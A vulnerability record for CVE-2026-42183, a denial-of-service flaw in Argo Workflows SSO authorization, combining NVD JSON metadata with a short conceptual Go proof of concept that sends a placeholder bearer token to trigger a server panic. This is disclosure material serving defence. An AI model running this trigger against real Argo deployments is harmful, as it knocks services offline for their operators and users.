CVE-2026-42183

// Conceptual PoC: Triggering the nil pointer dereference // This requires a configured Argo Workflows instance with SSO enabled // and SSO_DELEGATE_RBAC_TO_NAMESPACE set to true. package main import ( "fmt" "net/http" "strings" ) func main() { // Scenario: An attacker has a low-privilege SSO token. // The user's groups match a Namespace-level RoleBinding, // but do not match the specific SSO namespace restrictions. // Malicious/Trigger Request Header // Authorization: Bearer <token_with_specific_claims> url := "https://argo-workflows.example.com/api/v1/workflows" req, _ := http.NewRequest("GET", url, nil) // The token must contain claims that trigger the specific path in rbacAuthorization() // where it expects a non-nil object that turns out to be nil. req.Header.Set("Authorization", "Bearer <SSO_TOKEN>") client := &http.Client{} resp, err := client.Do(req) if err != nil { // Expecting connection reset or EOF due to server panic fmt.Println("[+] Potential Crash detected:", err) return } defer resp.Body.Close() if resp.StatusCode == 500 || resp.StatusCode == 503 { fmt.Println("[+] Server returned error status, possible DoS") } }

{"cve": {"id": "CVE-2026-42183", "sourceIdentifier": "[email protected]", "published": "2026-05-09T04:16:23.810", "lastModified": "2026-05-14T18:40:00.637", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. From version 4.0.0 to before version 4.0.5, a nil pointer dereference in server/auth/gatekeeper.go rbacAuthorization() causes a panic (denial of service) for SSO users whose claims match a namespace-level RBAC rule but not an SSO-namespace rule, when SSO_DELEGATE_RBAC_TO_NAMESPACE=true. This issue has been patched in version 4.0.5."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:argoproj:argo_workflows:*:*:*:*:*:go:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.0.5", "matchCriteriaId": "675D5F2B-A490-42EB-B1A1-0CE05D2BB4CF"}]}]}], "references": [{"url": "https://github.com/argoproj/argo-workflows/commit/c4cc17d0c034fa9a9cc01ef1af6c8016c93071d4", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/argoproj/argo-workflows/releases/tag/v4.0.5", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/argoproj/argo-workflows/security/advisories/GHSA-p4gq-3vxj-f4jq", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}